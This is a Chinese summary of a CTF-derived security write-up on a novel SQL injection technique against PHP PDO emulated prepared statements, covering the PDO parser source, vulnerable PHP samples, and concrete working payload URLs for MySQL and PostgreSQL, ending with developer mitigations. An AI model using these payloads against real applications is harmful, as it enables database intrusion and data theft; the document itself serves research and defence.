原文: Novel SQL Injection Technique in PDO Prepared Statements
作者: hashkitten (Searchlight Cyber)
来源: DownUnderCTF 2024

概述

在第六届 DownUnderCTF 夺旗比赛中,作者贡献了一道名为 ‘legendary’ 的高难度 Web 挑战题,仅有一支队伍成功解出。这道题目的核心是利用一种鲜为人知的技术,在看似不可能的情况下实现 SQL 注入——所有内容都被正确转义,并且使用了 PHP PDO 预处理语句。

PHP PDO 预处理语句基础

PDO 是 PHP 连接数据库最常用的库之一,使用方式如下:

1
2
3
4
5
6
7
8
9
10
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$stmt = $pdo->prepare('SELECT id, name, sku FROM fruit WHERE name = ?');
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo join(' : ', $v) . PHP_EOL;
}

访问上述服务并设置 name 参数为 apple,可能会得到响应 1 : apple : FRU-APL

PDO 的安全机制

你可能会惊讶地发现,PDO 实现安全的方式并非如你所想。虽然它被称为 prepare,看起来像是预处理语句,但 PDO 在 MySQL 中默认模拟所有预处理语句

除非你显式禁用 PDO::ATTR_EMULATE_PREPARES,否则 PDO 实际上会在查询到达数据库之前自行完成所有转义工作。

模拟预处理语句的问题

尝试模拟预处理语句给 PDO 带来了一个问题。你可能会认为模拟预处理语句的底层伪代码如下:

1
2
3
4
5
for (char in stmt) {
if (char is '?' or ':') {
replace with escaped bound param
}
}

但这很快会遇到问题。如果语句如下:

1
SELECT * FROM users where name = ? /* TODO: refactor this ? */

上述简单逻辑会看到注释中的问号并尝试将其作为绑定参数处理,这显然不是我们想要的。

因此,PDO 做了一件可能令人惊讶的事情:它实现了自己的 SQL 解析器,用于解析字符串、表名和注释,以避免意外绑定其中的问号或冒号。

安全隐患

这种行为的安全隐患很明显——如果我们能欺骗 PDO 解析器将我们的输入错误地解析为绑定参数,我们就可以在原本不可能的情况下获得 SQL 注入。

不可能的 SQL 注入

常见场景:列名和表名

用户输入出现在 prepare 语句中的一个常见场景是列名和表名。这些无法被绑定,因此开发人员被迫将它们直接插入查询中。考虑以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$col = '`' . str_replace('`', '``', $_GET['col']) . '`';

$stmt = $pdo->prepare("SELECT $col FROM fruit WHERE name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo join(' : ', $v) . PHP_EOL;
}

这段代码允许用户选择返回的列。col 参数被反引号包围表示列名,列名中的反引号也被转义以防止注入(许多基于 PDO 构建的 ORM 都实现了类似的逻辑)。

你可能会考虑使用反斜杠来转义列名,但这不起作用——MySQL 不会解释列名中的反斜杠。看起来这段代码是安全的。

PDO 解析器分析

然而,我们的代码正被 PDO 解析器解析。让我们看看解析器的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int pdo_mysql_scanner(pdo_scanner_t *s)
{
const char *cursor = s->cur;

s->tok = cursor;
/*!re2c
BINDCHR = [:][a-zA-Z0-9_]+;
QUESTION = [?];
COMMENTS = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"| (("--"[ \t\v\f\r])|[#]).*);
SPECIALS = [:?"'`/#-];
MULTICHAR = ([:]{2,}|[?]{2,});
ANYNOEOF = [\001-\377];
*/

/*!re2c
(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
([`]([`][`]|ANYNOEOF\[`])*[`]) { RET(PDO_PARSER_TEXT); }
MULTICHAR { RET(PDO_PARSER_TEXT); }
BINDCHR { RET(PDO_PARSER_BIND); }
QUESTION { RET(PDO_PARSER_BIND_POS); }
SPECIALS { SKIP_ONE(PDO_PARSER_TEXT); }
COMMENTS { RET(PDO_PARSER_TEXT); }
(ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); }
*/
}

我们特别关注这一行:

1
([`]([`][`]|ANYNOEOF\[`])*[`]) { RET(PDO_PARSER_TEXT); }

其中 ANYNOEOF 定义为 [\001-\377]。那么如果我们传入一个空字节会发生什么?

利用空字节

测试 1:传入空字节

1
http://localhost:8000/?name=x&col=%00

结果:语法错误,但没有实现真正的注入。

测试 2:传入问号加空字节

1
http://localhost:8000/?name=x&col=?%00

结果:

1
2
Fatal error: Uncaught PDOException: SQLSTATE[HY093]: 
Invalid parameter number: number of bound variables does not match number of tokens

成功!我们注入了一个被 PDO 解释的绑定参数!

原理解释

考虑生成的语句(用 \0 表示空字节):

1
SELECT `?\0` FROM fruit WHERE name = ?

PDO 解析器首先尝试将 ?\0 解析为列名/表名。当它到达空字节时,由于解析规则会回溯。因此反引号会回退到 SPECIALS 情况,被 SKIP_ONE(PDO_PARSER_TEXT) 忽略。

因此 PDO 解析器将第一个 ? 视为绑定参数。然后解析器继续将 name = ? 视为第二个绑定参数,并抛出错误,因为我们只传递了一个参数,而解析器期望两个。

完整利用过程

步骤 1:添加注释

1
http://localhost:8000/?name=x&col=?%23%00

生成的查询:

1
SELECT `?#\0` FROM fruit WHERE name = ?

PDO 将问号替换为 name 参数:

1
SELECT `'x'#\0` FROM fruit WHERE name = ?

步骤 2:逃逸列名

1
http://localhost:8000/?name=x`%23&col=?%23%00

步骤 3:解决空字节问题

空字节不能出现在 MySQL 注释中。解决方案:用分号结束语句:

1
http://localhost:8000/?name=x`;%23&col=?%23%00

步骤 4:构造子查询

最终 payload:

1
http://localhost:8000/?name=x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23&col=\?%23%00

注入后的 PDO 语句:

1
SELECT `\?#\0` FROM fruit WHERE name = ?

预处理后变成:

1
SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM fruit WHERE name = ?

成功获取数据库信息!

其他数据库引擎

数据库默认状态说明
MySQL默认易受攻击除非显式设置 PDO::ATTR_EMULATE_PREPARES 为 false
PostgreSQL默认不易受攻击但如果开启模拟预处理则易受攻击,使用 -- 注释代替 #
SQLite默认模拟但不易受攻击空字节会导致标记化错误

其他易受攻击场景

这种技术不限于表名和列名。如果你能在 PDO 查询的任何部分注入空字节,都可以利用相同的思路。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dsn = "mysql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'root', '');

$sku = strtr($_GET['sku'], ["'" => "\\'", '\\' => '\\\\']);

$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku LIKE '%$sku%' AND name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo join(' : ', $v) . PHP_EOL;
}

开发人员编写了自己的转义逻辑。看起来不安全但也不是立即可利用的。只有当你测试 payload ?%00 时,安全漏洞才会显现:

1
http://localhost:8000/mysql2.php?sku=?%00&name=apple

旧版 PHP 更加脆弱

PHP 8.4 实际上比旧版本更能抵御此类攻击。PHP 8.4 是第一个为每种 SQL 方言使用独立 SQL 扫描解析器的版本。

在 PHP 8.3 及更早版本中,PDO 无论 SQL 方言如何都使用单一解析器,以 MySQL 行为为模型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static int scan(Scanner *s)
{
const char *cursor = s->cur;

s->tok = cursor;
/*!re2c
BINDCHR = [:][a-zA-Z0-9_]+;
QUESTION = [?];
ESCQUESTION = [?][?];
COMMENTS = ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|"--"[^\r\n]*);
SPECIALS = [:?"'-/];
MULTICHAR = [:]{2,};
ANYNOEOF = [\001-\377];
*/

/*!re2c
(["](([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
(['](([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
MULTICHAR { RET(PDO_PARSER_TEXT); }
ESCQUESTION { RET(PDO_PARSER_ESCAPED_QUESTION); }
BINDCHR { RET(PDO_PARSER_BIND); }
QUESTION { RET(PDO_PARSER_BIND_POS); }
SPECIALS { SKIP_ONE(PDO_PARSER_TEXT); }
COMMENTS { RET(PDO_PARSER_TEXT); }
(ANYNOEOF\SPECIALS)+ { RET(PDO_PARSER_TEXT); }
*/
}

旧版解析器的问题

问题 1:不处理反引号

在 8.3 及更早版本中,如果你能在表名或列名中注入 :?,就可以实现注入,甚至不需要空字节。

问题 2:假设所有字符串都使用反斜杠转义

即使在不支持反斜杠转义字符串的引擎(如 Postgres)中也是如此。

Postgres 注入示例

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$dsn = "pgsql:host=127.0.0.1;dbname=demo";
$pdo = new PDO($dsn, 'demo', '', [PDO::ATTR_EMULATE_PREPARES => true]);

$sku = $pdo->quote($_GET['sku']);

$stmt = $pdo->prepare("SELECT * FROM fruit WHERE sku = $sku AND name = ?");
$stmt->execute([$_GET['name']]);
$data = $stmt->fetchAll(PDO::FETCH_ASSOC);
foreach($data as $v) {
echo join(' : ', $v) . PHP_EOL;
}

这段代码看起来完全安全:一个参数被绑定,另一个使用内置转义函数。怎么可能有漏洞?

利用 payload:

1
http://localhost:8000/postgres2.php?sku=\%27?--&name=UNION%20SELECT%201337,chr(33),1337,chr(33)--

结果:

1
1337 : ! : 1337 : !

原理:PDO 解析器错误地认为反斜杠转义了单引号,因此解析器看到字符串字面量 '\',后面跟着一个在字符串字面量之外的 ?

总结

给开发者的建议

  1. 禁用 PDO::ATTR_EMULATE_PREPARES(如果可能)
  2. 如果无法禁用,确保使用最新版本(PHP 8.4)且不允许查询中出现空字节

给安全研究者的建议

  1. 对任何使用查询模拟(MySQL 默认开启)的情况保持怀疑
  2. 仔细检查任何混合用户数据和 prepare 接口的查询,即使一切看起来都正确转义
  3. 使用 \’??%00 等 payload 来探测可能被忽视的 SQL 注入场景